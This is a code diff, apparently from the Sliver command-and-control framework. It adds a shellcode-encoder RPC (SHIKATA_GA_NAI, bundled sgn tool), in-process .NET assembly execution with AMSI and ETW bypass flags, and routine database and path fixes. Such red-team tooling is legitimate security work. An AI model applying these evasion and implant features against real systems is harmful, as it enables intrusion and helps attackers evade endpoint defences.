-	80, // 40: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry
-	66, // 41: clientpb.Websites.Websites:type_name -> clientpb.Website
+	89, // 24: clientpb.MsfStager.File:type_name -> commonpb.File
+	13, // 25: clientpb.GetSystemReq.Config:type_name -> clientpb.ImplantConfig
+	87, // 26: clientpb.GetSystemReq.Request:type_name -> commonpb.Request
+	13, // 27: clientpb.MigrateReq.Config:type_name -> clientpb.ImplantConfig
+	87, // 28: clientpb.MigrateReq.Request:type_name -> commonpb.Request
+	87, // 29: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request
+	87, // 30: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request
+	7,  // 31: clientpb.PivotGraphEntry.Session:type_name -> clientpb.Session
+	58, // 32: clientpb.PivotGraphEntry.Children:type_name -> clientpb.PivotGraphEntry
+	58, // 33: clientpb.PivotGraph.Children:type_name -> clientpb.PivotGraphEntry
+	63, // 34: clientpb.Client.Operator:type_name -> clientpb.Operator
+	7,  // 35: clientpb.Event.Session:type_name -> clientpb.Session
+	25, // 36: clientpb.Event.Job:type_name -> clientpb.Job
+	60, // 37: clientpb.Event.Client:type_name -> clientpb.Client
+	63, // 38: clientpb.Operators.Operators:type_name -> clientpb.Operator
+	83, // 39: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry
+	84, // 40: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry
+	67, // 41: clientpb.Websites.Websites:type_name -> clientpb.Website
 	2,  // 42: clientpb.Loot.Type:type_name -> clientpb.LootType
 	3,  // 43: clientpb.Loot.CredentialType:type_name -> clientpb.CredentialType
-	69, // 44: clientpb.Loot.Credential:type_name -> clientpb.Credential
+	70, // 44: clientpb.Loot.Credential:type_name -> clientpb.Credential
 	4,  // 45: clientpb.Loot.FileType:type_name -> clientpb.FileType
-	84, // 46: clientpb.Loot.File:type_name -> commonpb.File
-	70, // 47: clientpb.AllLoot.Loot:type_name -> clientpb.Loot
-	72, // 48: clientpb.Host.IOCs:type_name -> clientpb.IOC
-	81, // 49: clientpb.Host.ExtensionData:type_name -> clientpb.Host.ExtensionDataEntry
-	74, // 50: clientpb.AllHosts.Hosts:type_name -> clientpb.Host
-	82, // 51: clientpb.DllHijackReq.Request:type_name -> commonpb.Request
-	83, // 52: clientpb.DllHijack.Response:type_name -> commonpb.Response
-	12, // 53: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig
-	63, // 54: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent
-	63, // 55: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent
-	73, // 56: clientpb.Host.ExtensionDataEntry.value:type_name -> clientpb.ExtensionData
-	57, // [57:57] is the sub-list for method output_type
-	57, // [57:57] is the sub-list for method input_type
-	57, // [57:57] is the sub-list for extension type_name
-	57, // [57:57] is the sub-list for extension extendee
-	0,  // [0:57] is the sub-list for field type_name
+	89, // 46: clientpb.Loot.File:type_name -> commonpb.File
+	71, // 47: clientpb.AllLoot.Loot:type_name -> clientpb.Loot
+	73, // 48: clientpb.Host.IOCs:type_name -> clientpb.IOC
+	85, // 49: clientpb.Host.ExtensionData:type_name -> clientpb.Host.ExtensionDataEntry
+	75, // 50: clientpb.AllHosts.Hosts:type_name -> clientpb.Host
+	87, // 51: clientpb.DllHijackReq.Request:type_name -> commonpb.Request
+	88, // 52: clientpb.DllHijack.Response:type_name -> commonpb.Response
+	5,  // 53: clientpb.ShellcodeEncodeReq.Encoder:type_name -> clientpb.ShellcodeEncoder
+	87, // 54: clientpb.ShellcodeEncodeReq.Request:type_name -> commonpb.Request
+	88, // 55: clientpb.ShellcodeEncode.Response:type_name -> commonpb.Response
+	86, // 56: clientpb.ShellcodeEncoderMap.Encoders:type_name -> clientpb.ShellcodeEncoderMap.EncodersEntry
+	13, // 57: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig
+	64, // 58: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent
+	64, // 59: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent
+	74, // 60: clientpb.Host.ExtensionDataEntry.value:type_name -> clientpb.ExtensionData
+	5,  // 61: clientpb.ShellcodeEncoderMap.EncodersEntry.value:type_name -> clientpb.ShellcodeEncoder
+	62, // [62:62] is the sub-list for method output_type
+	62, // [62:62] is the sub-list for method input_type
+	62, // [62:62] is the sub-list for extension type_name
+	62, // [62:62] is the sub-list for extension extendee
+	0,  // [0:62] is the sub-list for field type_name
 }
 
 func init() { file_clientpb_client_proto_init() }
@@ -7267,14 +7544,50 @@ func file_clientpb_client_proto_init() {
 				return nil
 			}
 		}
+		file_clientpb_client_proto_msgTypes[73].Exporter = func(v interface{}, i int) interface{} {
+			switch v := v.(*ShellcodeEncodeReq); i {
+			case 0:
+				return &v.state
+			case 1:
+				return &v.sizeCache
+			case 2:
+				return &v.unknownFields
+			default:
+				return nil
+			}
+		}
+		file_clientpb_client_proto_msgTypes[74].Exporter = func(v interface{}, i int) interface{} {
+			switch v := v.(*ShellcodeEncode); i {
+			case 0:
+				return &v.state
+			case 1:
+				return &v.sizeCache
+			case 2:
+				return &v.unknownFields
+			default:
+				return nil
+			}
+		}
+		file_clientpb_client_proto_msgTypes[75].Exporter = func(v interface{}, i int) interface{} {
+			switch v := v.(*ShellcodeEncoderMap); i {
+			case 0:
+				return &v.state
+			case 1:
+				return &v.sizeCache
+			case 2:
+				return &v.unknownFields
+			default:
+				return nil
+			}
+		}
 	}
 	type x struct{}
 	out := protoimpl.TypeBuilder{
 		File: protoimpl.DescBuilder{
 			GoPackagePath: reflect.TypeOf(x{}).PkgPath(),
 			RawDescriptor: file_clientpb_client_proto_rawDesc,
-			NumEnums:      5,
-			NumMessages:   77,
+			NumEnums:      6,
+			NumMessages:   81,
 			NumExtensions: 0,
 			NumServices:   0,
 		},

protobuf/clientpb/client.proto

@@ -618,3 +618,29 @@ message DllHijackReq {
 message DllHijack {
   commonpb.Response Response = 9;
 }
+
+
+// [ Shellcode ] ----------------------------------------
+enum ShellcodeEncoder {
+  SHIKATA_GA_NAI = 0;
+}
+
+message ShellcodeEncodeReq {
+  ShellcodeEncoder Encoder = 1;
+  string Architecture = 2;
+  uint32 Iterations = 3;
+  bytes BadChars = 4;
+
+  bytes Data = 8;
+  commonpb.Request Request = 9;
+}
+
+message ShellcodeEncode {
+
+  bytes Data = 8;
+  commonpb.Response Response = 9;
+}
+
+message ShellcodeEncoderMap {
+  map<string, ShellcodeEncoder> Encoders = 1;
+}

protobuf/commonpb/common.pb.go

@@ -1,6 +1,6 @@
 // Code generated by protoc-gen-go. DO NOT EDIT.
 // versions:
-// 	protoc-gen-go v1.26.0
+// 	protoc-gen-go v1.27.1
 // 	protoc        v3.21.5
 // source: commonpb/common.proto
 

protobuf/dnspb/dns.pb.go

@@ -1,6 +1,6 @@
 // Code generated by protoc-gen-go. DO NOT EDIT.
 // versions:
-// 	protoc-gen-go v1.26.0
+// 	protoc-gen-go v1.27.1
 // 	protoc        v3.21.5
 // source: dnspb/dns.proto
 

protobuf/rpcpb/services.proto

@@ -77,6 +77,8 @@ service SliverRPC {
     rpc MsfStage(clientpb.MsfStagerReq) returns (clientpb.MsfStager);
     rpc ShellcodeRDI(clientpb.ShellcodeRDIReq) returns (clientpb.ShellcodeRDI);
     rpc GetCompiler(commonpb.Empty) returns (clientpb.Compiler);
+    rpc ShellcodeEncoder(clientpb.ShellcodeEncodeReq) returns (clientpb.ShellcodeEncode);
+    rpc ShellcodeEncoderMap(commonpb.Empty) returns (clientpb.ShellcodeEncoderMap);
 
     // *** Websites ***
     rpc Websites(commonpb.Empty) returns (clientpb.Websites);

protobuf/rpcpb/services_grpc.pb.go

@@ -1,4 +1,8 @@
 // Code generated by protoc-gen-go-grpc. DO NOT EDIT.
+// versions:
+// - protoc-gen-go-grpc v1.2.0
+// - protoc             v3.21.5
+// source: rpcpb/services.proto
 
 package rpcpb
 
@@ -78,6 +82,8 @@ type SliverRPCClient interface {
 	MsfStage(ctx context.Context, in *clientpb.MsfStagerReq, opts ...grpc.CallOption) (*clientpb.MsfStager, error)
 	ShellcodeRDI(ctx context.Context, in *clientpb.ShellcodeRDIReq, opts ...grpc.CallOption) (*clientpb.ShellcodeRDI, error)
 	GetCompiler(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Compiler, error)
+	ShellcodeEncoder(ctx context.Context, in *clientpb.ShellcodeEncodeReq, opts ...grpc.CallOption) (*clientpb.ShellcodeEncode, error)
+	ShellcodeEncoderMap(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.ShellcodeEncoderMap, error)
 	// *** Websites ***
 	Websites(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Websites, error)
 	Website(ctx context.Context, in *clientpb.Website, opts ...grpc.CallOption) (*clientpb.Website, error)
@@ -579,6 +585,24 @@ func (c *sliverRPCClient) GetCompiler(ctx context.Context, in *commonpb.Empty, o
 	return out, nil
 }
 
+func (c *sliverRPCClient) ShellcodeEncoder(ctx context.Context, in *clientpb.ShellcodeEncodeReq, opts ...grpc.CallOption) (*clientpb.ShellcodeEncode, error) {
+	out := new(clientpb.ShellcodeEncode)
+	err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ShellcodeEncoder", in, out, opts...)
+	if err != nil {
+		return nil, err
+	}
+	return out, nil
+}
+
+func (c *sliverRPCClient) ShellcodeEncoderMap(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.ShellcodeEncoderMap, error) {
+	out := new(clientpb.ShellcodeEncoderMap)
+	err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ShellcodeEncoderMap", in, out, opts...)
+	if err != nil {
+		return nil, err
+	}
+	return out, nil
+}
+
 func (c *sliverRPCClient) Websites(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Websites, error) {
 	out := new(clientpb.Websites)
 	err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Websites", in, out, opts...)
@@ -1391,6 +1415,8 @@ type SliverRPCServer interface {
 	MsfStage(context.Context, *clientpb.MsfStagerReq) (*clientpb.MsfStager, error)
 	ShellcodeRDI(context.Context, *clientpb.ShellcodeRDIReq) (*clientpb.ShellcodeRDI, error)
 	GetCompiler(context.Context, *commonpb.Empty) (*clientpb.Compiler, error)
+	ShellcodeEncoder(context.Context, *clientpb.ShellcodeEncodeReq) (*clientpb.ShellcodeEncode, error)
+	ShellcodeEncoderMap(context.Context, *commonpb.Empty) (*clientpb.ShellcodeEncoderMap, error)
 	// *** Websites ***
 	Websites(context.Context, *commonpb.Empty) (*clientpb.Websites, error)
 	Website(context.Context, *clientpb.Website) (*clientpb.Website, error)
@@ -1619,6 +1645,12 @@ func (UnimplementedSliverRPCServer) ShellcodeRDI(context.Context, *clientpb.Shel
 func (UnimplementedSliverRPCServer) GetCompiler(context.Context, *commonpb.Empty) (*clientpb.Compiler, error) {
 	return nil, status.Errorf(codes.Unimplemented, "method GetCompiler not implemented")
 }
+func (UnimplementedSliverRPCServer) ShellcodeEncoder(context.Context, *clientpb.ShellcodeEncodeReq) (*clientpb.ShellcodeEncode, error) {
+	return nil, status.Errorf(codes.Unimplemented, "method ShellcodeEncoder not implemented")
+}
+func (UnimplementedSliverRPCServer) ShellcodeEncoderMap(context.Context, *commonpb.Empty) (*clientpb.ShellcodeEncoderMap, error) {
+	return nil, status.Errorf(codes.Unimplemented, "method ShellcodeEncoderMap not implemented")
+}
 func (UnimplementedSliverRPCServer) Websites(context.Context, *commonpb.Empty) (*clientpb.Websites, error) {
 	return nil, status.Errorf(codes.Unimplemented, "method Websites not implemented")
 }
@@ -2670,6 +2702,42 @@ func _SliverRPC_GetCompiler_Handler(srv interface{}, ctx context.Context, dec fu
 	return interceptor(ctx, in, info, handler)
 }
 
+func _SliverRPC_ShellcodeEncoder_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
+	in := new(clientpb.ShellcodeEncodeReq)
+	if err := dec(in); err != nil {
+		return nil, err
+	}
+	if interceptor == nil {
+		return srv.(SliverRPCServer).ShellcodeEncoder(ctx, in)
+	}
+	info := &grpc.UnaryServerInfo{
+		Server:     srv,
+		FullMethod: "/rpcpb.SliverRPC/ShellcodeEncoder",
+	}
+	handler := func(ctx context.Context, req interface{}) (interface{}, error) {
+		return srv.(SliverRPCServer).ShellcodeEncoder(ctx, req.(*clientpb.ShellcodeEncodeReq))
+	}
+	return interceptor(ctx, in, info, handler)
+}
+
+func _SliverRPC_ShellcodeEncoderMap_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
+	in := new(commonpb.Empty)
+	if err := dec(in); err != nil {
+		return nil, err
+	}
+	if interceptor == nil {
+		return srv.(SliverRPCServer).ShellcodeEncoderMap(ctx, in)
+	}
+	info := &grpc.UnaryServerInfo{
+		Server:     srv,
+		FullMethod: "/rpcpb.SliverRPC/ShellcodeEncoderMap",
+	}
+	handler := func(ctx context.Context, req interface{}) (interface{}, error) {
+		return srv.(SliverRPCServer).ShellcodeEncoderMap(ctx, req.(*commonpb.Empty))
+	}
+	return interceptor(ctx, in, info, handler)
+}
+
 func _SliverRPC_Websites_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
 	in := new(commonpb.Empty)
 	if err := dec(in); err != nil {
@@ -4244,6 +4312,14 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
 			MethodName: "GetCompiler",
 			Handler:    _SliverRPC_GetCompiler_Handler,
 		},
+		{
+			MethodName: "ShellcodeEncoder",
+			Handler:    _SliverRPC_ShellcodeEncoder_Handler,
+		},
+		{
+			MethodName: "ShellcodeEncoderMap",
+			Handler:    _SliverRPC_ShellcodeEncoderMap_Handler,
+		},
 		{
 			MethodName: "Websites",
 			Handler:    _SliverRPC_Websites_Handler,

protobuf/sliverpb/constants.go

@@ -284,6 +284,8 @@ const (
 	MsgCurrentTokenOwnerReq
 	// MsgCurrentTokenOwner - Replies with the current thread owner (resp to MsfCurrentToken)
 	MsgCurrentTokenOwner
+	// MsgInvokeInProcExecuteAssemblyReq - Request to load and execute a .NET assembly in-process
+	MsgInvokeInProcExecuteAssemblyReq
 )
 
 // Constants to replace enums
@@ -497,6 +499,8 @@ func MsgNumber(request proto.Message) uint32 {
 		return MsgCurrentTokenOwnerReq
 	case *CurrentTokenOwner:
 		return MsgCurrentTokenOwner
+	case *InvokeInProcExecuteAssemblyReq:
+		return MsgInvokeInProcExecuteAssemblyReq
 	}
 
 	return uint32(0)

protobuf/sliverpb/sliver.proto

@@ -371,6 +371,11 @@ message ExecuteAssemblyReq {
   string AppDomain = 8;
   uint32 PPid = 10;
   repeated string ProcessArgs = 11;
+  // In process specific fields
+  bool InProcess = 12;
+  string Runtime = 13;
+  bool AmsiBypass = 14;
+  bool EtwBypass = 15;
   commonpb.Request Request = 9;
 }
 
@@ -383,6 +388,15 @@ message InvokeExecuteAssemblyReq {
   commonpb.Request Request = 9;
 }
 
+message InvokeInProcExecuteAssemblyReq {
+  bytes Data = 1;
+  repeated string Arguments = 2;
+  string Runtime = 3;
+  bool AmsiBypass = 4;
+  bool EtwBypass = 5;
+  commonpb.Request Request = 9;
+}
+
 message ExecuteAssembly {
   bytes Output = 1;
 
@@ -612,6 +626,15 @@ message Backdoor {
   commonpb.Response Response = 9;
 }
 
+// Registry - Registry related messages
+enum RegistryType {
+  Unknown = 0;
+  Binary = 1;
+  String = 2;
+  DWORD = 3;
+  QWORD = 4;
+}
+
 message RegistryReadReq {
   string Hive = 1;
   string Path = 2;

server/assets/assets.go

@@ -158,7 +158,7 @@ func GetGPGPublicKey() (*packet.PublicKey, error) {
 func setupGo(appDir string) error {
 
 	setupLog.Infof("Unpacking to '%s'", appDir)
-	goRootPath := path.Join(appDir, GoDirName)
+	goRootPath := filepath.Join(appDir, GoDirName)
 	setupLog.Infof("GOPATH = %s", goRootPath)
 	if _, err := os.Stat(goRootPath); !os.IsNotExist(err) {
 		setupLog.Info("Removing old go root directory")
@@ -175,14 +175,14 @@ func setupGo(appDir string) error {
 	os.MkdirAll(goRootPath, 0700)
 
 	// Go compiler and stdlib
-	goZipFSPath := path.Join("fs", runtime.GOOS, runtime.GOARCH, "go.zip")
+	goZipFSPath := filepath.Join("fs", runtime.GOOS, runtime.GOARCH, "go.zip")
 	goZip, err := assetsFs.ReadFile(goZipFSPath)
 	if err != nil {
 		setupLog.Errorf("static asset not found: %s", goZipFSPath)
 		return err
 	}
 
-	goZipPath := path.Join(appDir, "go.zip")
+	goZipPath := filepath.Join(appDir, "go.zip")
 	defer os.Remove(goZipPath)
 	ioutil.WriteFile(goZipPath, goZip, 0600)
 	_, err = unzip(goZipPath, appDir)
@@ -196,7 +196,7 @@ func setupGo(appDir string) error {
 		setupLog.Info("static asset not found: src.zip")
 		return err
 	}
-	goSrcZipPath := path.Join(appDir, "src.zip")
+	goSrcZipPath := filepath.Join(appDir, "src.zip")
 	defer os.Remove(goSrcZipPath)
 	ioutil.WriteFile(goSrcZipPath, goSrcZip, 0600)
 	_, err = unzip(goSrcZipPath, goRootPath)
@@ -209,20 +209,32 @@ func setupGo(appDir string) error {
 	if runtime.GOOS == "windows" {
 		garbleFileName = "garble.exe"
 	}
-	garbleAssetPath := path.Join("fs", runtime.GOOS, runtime.GOARCH, garbleFileName)
+	garbleAssetPath := filepath.Join("fs", runtime.GOOS, runtime.GOARCH, garbleFileName)
 	garbleFile, err := assetsFs.ReadFile(garbleAssetPath)
 	if err != nil {
 		setupLog.Errorf("Static asset not found: %s", garbleFile)
 		return err
 	}
-	garbleLocalPath := path.Join(appDir, "go", "bin", garbleFileName)
+	garbleLocalPath := filepath.Join(appDir, "go", "bin", garbleFileName)
 	err = ioutil.WriteFile(garbleLocalPath, garbleFile, 0700)
 	if err != nil {
 		setupLog.Errorf("Failed to write garble %s", err)
 		return err
 	}
 
-	return nil
+	return setupSGN(appDir)
+}
+
+func setupSGN(appDir string) error {
+	goBinPath := filepath.Join(appDir, "go", "bin")
+	sgnZipFSPath := filepath.Join("fs", runtime.GOOS, runtime.GOARCH, "sgn.zip")
+	sgnZip, err := assetsFs.ReadFile(sgnZipFSPath)
+	if err != nil {
+		setupLog.Errorf("static asset not found: %s", sgnZipFSPath)
+		return err
+	}
+	_, err = unzipBuf(sgnZip, goBinPath)
+	return err
 }
 
 // SetupGoPath - Extracts dependencies to goPathSrc
@@ -246,10 +258,10 @@ func SetupGoPath(goPathSrc string) error {
 		return err
 	}
 	sliverpbGoSrc = stripSliverpb(sliverpbGoSrc)
-	sliverpbDir := path.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "sliverpb")
+	sliverpbDir := filepath.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "sliverpb")
 	os.MkdirAll(sliverpbDir, 0700)
-	ioutil.WriteFile(path.Join(sliverpbDir, "sliver.pb.go"), sliverpbGoSrc, 0600)
-	ioutil.WriteFile(path.Join(sliverpbDir, "constants.go"), sliverpbConstSrc, 0600)
+	ioutil.WriteFile(filepath.Join(sliverpbDir, "sliver.pb.go"), sliverpbGoSrc, 0600)
+	ioutil.WriteFile(filepath.Join(sliverpbDir, "constants.go"), sliverpbConstSrc, 0600)
 
 	// Common PB
 	commonpbSrc, err := protobufs.FS.ReadFile("commonpb/common.pb.go")
@@ -257,9 +269,9 @@ func SetupGoPath(goPathSrc string) error {
 		setupLog.Info("Static asset not found: common.pb.go")
 		return err
 	}
-	commonpbDir := path.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "commonpb")
+	commonpbDir := filepath.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "commonpb")
 	os.MkdirAll(commonpbDir, 0700)
-	ioutil.WriteFile(path.Join(commonpbDir, "common.pb.go"), commonpbSrc, 0600)
+	ioutil.WriteFile(filepath.Join(commonpbDir, "common.pb.go"), commonpbSrc, 0600)
 
 	// DNS PB
 	dnspbSrc, err := protobufs.FS.ReadFile("dnspb/dns.pb.go")
@@ -267,9 +279,9 @@ func SetupGoPath(goPathSrc string) error {
 		setupLog.Info("Static asset not found: dns.pb.go")
 		return err
 	}
-	dnspbDir := path.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "dnspb")
+	dnspbDir := filepath.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "dnspb")
 	os.MkdirAll(dnspbDir, 0700)
-	ioutil.WriteFile(path.Join(dnspbDir, "dns.pb.go"), dnspbSrc, 0600)
+	ioutil.WriteFile(filepath.Join(dnspbDir, "dns.pb.go"), dnspbSrc, 0600)
 	return nil
 }
 
@@ -305,7 +317,7 @@ func unzipGoDependency(fsPath string, targetPath string) error {
 		return err
 	}
 
-	goDepZipPath := path.Join(appDir, path.Base(fsPath))
+	goDepZipPath := filepath.Join(appDir, filepath.Base(fsPath))
 	defer os.Remove(goDepZipPath)
 	ioutil.WriteFile(goDepZipPath, goDep, 0600)
 	_, err = unzip(goDepZipPath, targetPath)
@@ -385,6 +397,46 @@ func unzip(src string, dest string) ([]string, error) {
 	return filenames, nil
 }
 
+func unzipBuf(src []byte, dest string) ([]string, error) {
+
+	var filenames []string
+
+	reader, err := zip.NewReader(bytes.NewReader(src), int64(len(src)))
+	if err != nil {
+		return filenames, err
+	}
+
+	for _, file := range reader.File {
+
+		rc, err := file.Open()
+		if err != nil {
+			return filenames, err
+		}
+		defer rc.Close()
+
+		fPath := filepath.Join(dest, file.Name)
+		filenames = append(filenames, fPath)
+
+		if file.FileInfo().IsDir() {
+			os.MkdirAll(fPath, 0700)
+		} else {
+			if err = os.MkdirAll(filepath.Dir(fPath), 0700); err != nil {
+				return filenames, err
+			}
+			outFile, err := os.OpenFile(fPath, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, file.Mode())
+			if err != nil {
+				return filenames, err
+			}
+			_, err = io.Copy(outFile, rc)
+			outFile.Close()
+			if err != nil {
+				return filenames, err
+			}
+		}
+	}
+	return filenames, nil
+}
+
 func pseudoRandStringRunes(n int) string {
 	insecureRand.Seed(time.Now().UnixNano())
 	letterRunes := []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ")

server/cli/cli.go

@@ -131,6 +131,7 @@ var rootCmd = &cobra.Command{
 
 		serverConfig := configs.GetServerConfig()
 		c2.StartPersistentJobs(serverConfig)
+		console.StartPersistentJobs(serverConfig)
 		if serverConfig.DaemonMode {
 			daemon.Start(daemon.BlankHost, daemon.BlankPort)
 		} else {

server/configs/database.go

@@ -83,14 +83,20 @@ func (c *DatabaseConfig) DSN() (string, error) {
 		params := encodeParams(c.Params)
 		return fmt.Sprintf("file:%s?%s", filePath, params), nil
 	case MySQL:
-		fallthrough
-	case Postgres:
 		user := url.QueryEscape(c.Username)
 		password := url.QueryEscape(c.Password)
 		db := url.QueryEscape(c.Database)
 		host := fmt.Sprintf("%s:%d", url.QueryEscape(c.Host), c.Port)
 		params := encodeParams(c.Params)
 		return fmt.Sprintf("%s:%s@tcp(%s)/%s?%s", user, password, host, db, params), nil
+	case Postgres:
+		user := url.QueryEscape(c.Username)
+		password := url.QueryEscape(c.Password)
+		db := url.QueryEscape(c.Database)
+		host := url.QueryEscape(c.Host)
+		port := c.Port
+		params := encodeParams(c.Params)
+		return fmt.Sprintf("host=%s port=%d user=%s password=%s dbname=%s %s", host, port, user, password, db, params), nil
 	default:
 		return "", ErrInvalidDialect
 	}

server/console/console-admin.go

@@ -177,6 +177,16 @@ func kickOperatorCmd(ctx *grumble.Context) {
 	fmt.Printf(Info+"Operator %s has been kicked out.\n", operator)
 }
 
+func StartPersistentJobs(cfg *configs.ServerConfig) error {
+	if cfg.Jobs == nil {
+		return nil
+	}
+	for _, j := range cfg.Jobs.Multiplayer {
+		jobStartClientListener(j.Host, j.Port)
+	}
+	return nil
+}
+
 func startMultiplayerModeCmd(ctx *grumble.Context) {
 	lhost := ctx.Flags.String("lhost")
 	lport := uint16(ctx.Flags.Int("lport"))

server/db/helpers.go

@@ -39,9 +39,16 @@ var (
 
 // ImplantConfigByID - Fetch implant build by name
 func ImplantConfigByID(id string) (*models.ImplantConfig, error) {
+	if len(id) < 1 {
+		return nil, ErrRecordNotFound
+	}
+	configID := uuid.FromStringOrNil(id)
+	if configID == uuid.Nil {
+		return nil, ErrRecordNotFound
+	}
 	config := models.ImplantConfig{}
 	err := Session().Where(&models.ImplantConfig{
-		ID: uuid.FromStringOrNil(id),
+		ID: configID,
 	}).First(&config).Error
 	if err != nil {
 		return nil, err
@@ -79,6 +86,9 @@ func ImplantBuilds() ([]*models.ImplantBuild, error) {
 
 // ImplantBuildByName - Fetch implant build by name
 func ImplantBuildByName(name string) (*models.ImplantBuild, error) {
+	if len(name) < 1 {
+		return nil, ErrRecordNotFound
+	}
 	build := models.ImplantBuild{}
 	err := Session().Where(&models.ImplantBuild{
 		Name: name,
@@ -126,6 +136,9 @@ func ImplantProfiles() ([]*models.ImplantProfile, error) {
 
 // ImplantProfileByName - Fetch implant build by name
 func ImplantProfileByName(name string) (*models.ImplantProfile, error) {
+	if len(name) < 1 {
+		return nil, ErrRecordNotFound
+	}
 	profile := models.ImplantProfile{}
 	err := Session().Where(&models.ImplantProfile{
 		Name: name,
@@ -170,6 +183,9 @@ func ImplantProfileNames() ([]string, error) {
 
 // ProfileByName - Fetch a single profile from the database
 func ProfileByName(name string) (*models.ImplantProfile, error) {
+	if len(name) < 1 {
+		return nil, ErrRecordNotFound
+	}
 	dbProfile := &models.ImplantProfile{}
 	err := Session().Where(&models.ImplantProfile{Name: name}).Find(&dbProfile).Error
 	return dbProfile, err
@@ -184,6 +200,9 @@ func ListCanaries() ([]*models.DNSCanary, error) {
 
 // CanaryByDomain - Check if a canary exists
 func CanaryByDomain(domain string) (*models.DNSCanary, error) {
+	if len(domain) < 1 {
+		return nil, ErrRecordNotFound
+	}
 	dbSession := Session()
 	canary := models.DNSCanary{}
 	err := dbSession.Where(&models.DNSCanary{Domain: domain}).First(&canary).Error
@@ -192,6 +211,9 @@ func CanaryByDomain(domain string) (*models.DNSCanary, error) {
 
 // WebsiteByName - Get website by name
 func WebsiteByName(name string) (*models.Website, error) {
+	if len(name) < 1 {
+		return nil, ErrRecordNotFound
+	}
 	website := models.Website{}
 	err := Session().Where(&models.Website{Name: name}).First(&website).Error
 	if err != nil {
@@ -235,9 +257,16 @@ func HostByHostID(id uuid.UUID) (*models.Host, error) {
 
 // HostByHostUUID - Get host by the session's reported HostUUID
 func HostByHostUUID(id string) (*models.Host, error) {
+	if len(id) < 1 {
+		return nil, ErrRecordNotFound
+	}
+	hostID := uuid.FromStringOrNil(id)
+	if hostID == uuid.Nil {
+		return nil, ErrRecordNotFound
+	}
 	host := models.Host{}
 	err := Session().Where(
-		&models.Host{HostUUID: uuid.FromStringOrNil(id)},
+		&models.Host{HostUUID: hostID},
 	).Preload("IOCs").Preload("ExtensionData").First(&host).Error
 	if err != nil {
 		return nil, err
@@ -247,18 +276,32 @@ func HostByHostUUID(id string) (*models.Host, error) {
 
 // IOCByID - Select an IOC by ID
 func IOCByID(id string) (*models.IOC, error) {
+	if len(id) < 1 {
+		return nil, ErrRecordNotFound
+	}
 	ioc := &models.IOC{}
+	iocID := uuid.FromStringOrNil(id)
+	if iocID == uuid.Nil {
+		return nil, ErrRecordNotFound
+	}
 	err := Session().Where(
-		&models.IOC{ID: uuid.FromStringOrNil(id)},
+		&models.IOC{ID: iocID},
 	).First(ioc).Error
 	return ioc, err
 }
 
 // BeaconByID - Select a Beacon by ID
 func BeaconByID(id string) (*models.Beacon, error) {
+	if len(id) < 1 {
+		return nil, ErrRecordNotFound
+	}
+	beaconID := uuid.FromStringOrNil(id)
+	if beaconID == uuid.Nil {
+		return nil, ErrRecordNotFound
+	}
 	beacon := &models.Beacon{}
 	err := Session().Where(
-		&models.Beacon{ID: uuid.FromStringOrNil(id)},
+		&models.Beacon{ID: beaconID},
 	).First(beacon).Error
 	return beacon, err
 }
@@ -267,8 +310,14 @@ func BeaconByID(id string) (*models.Beacon, error) {
 // by default will not fetch the request/response columns since
 // these could be arbitrarily large.
 func BeaconTasksByBeaconID(beaconID string) ([]*models.BeaconTask, error) {
-	beaconTasks := []*models.BeaconTask{}
+	if len(beaconID) < 1 {
+		return nil, ErrRecordNotFound
+	}
 	id := uuid.FromStringOrNil(beaconID)
+	if id == uuid.Nil {
+		return nil, ErrRecordNotFound
+	}
+	beaconTasks := []*models.BeaconTask{}
 	err := Session().Select([]string{
 		"ID", "EnvelopeID", "BeaconID", "CreatedAt", "State", "SentAt", "CompletedAt",
 		"Description",
@@ -278,10 +327,17 @@ func BeaconTasksByBeaconID(beaconID string) ([]*models.BeaconTask, error) {
 
 // BeaconTaskByID - Select a specific BeaconTask by ID, this
 // will fetch the full request/response
-func BeaconTaskByID(taskID string) (*models.BeaconTask, error) {
+func BeaconTaskByID(id string) (*models.BeaconTask, error) {
+	if len(id) < 1 {
+		return nil, ErrRecordNotFound
+	}
+	taskID := uuid.FromStringOrNil(id)
+	if taskID == uuid.Nil {
+		return nil, ErrRecordNotFound
+	}
 	task := &models.BeaconTask{}
 	err := Session().Where(
-		&models.BeaconTask{ID: uuid.FromStringOrNil(taskID)},
+		&models.BeaconTask{ID: taskID},
 	).First(task).Error
 	return task, err
 }
@@ -294,9 +350,16 @@ func ListBeacons() ([]*models.Beacon, error) {
 }
 
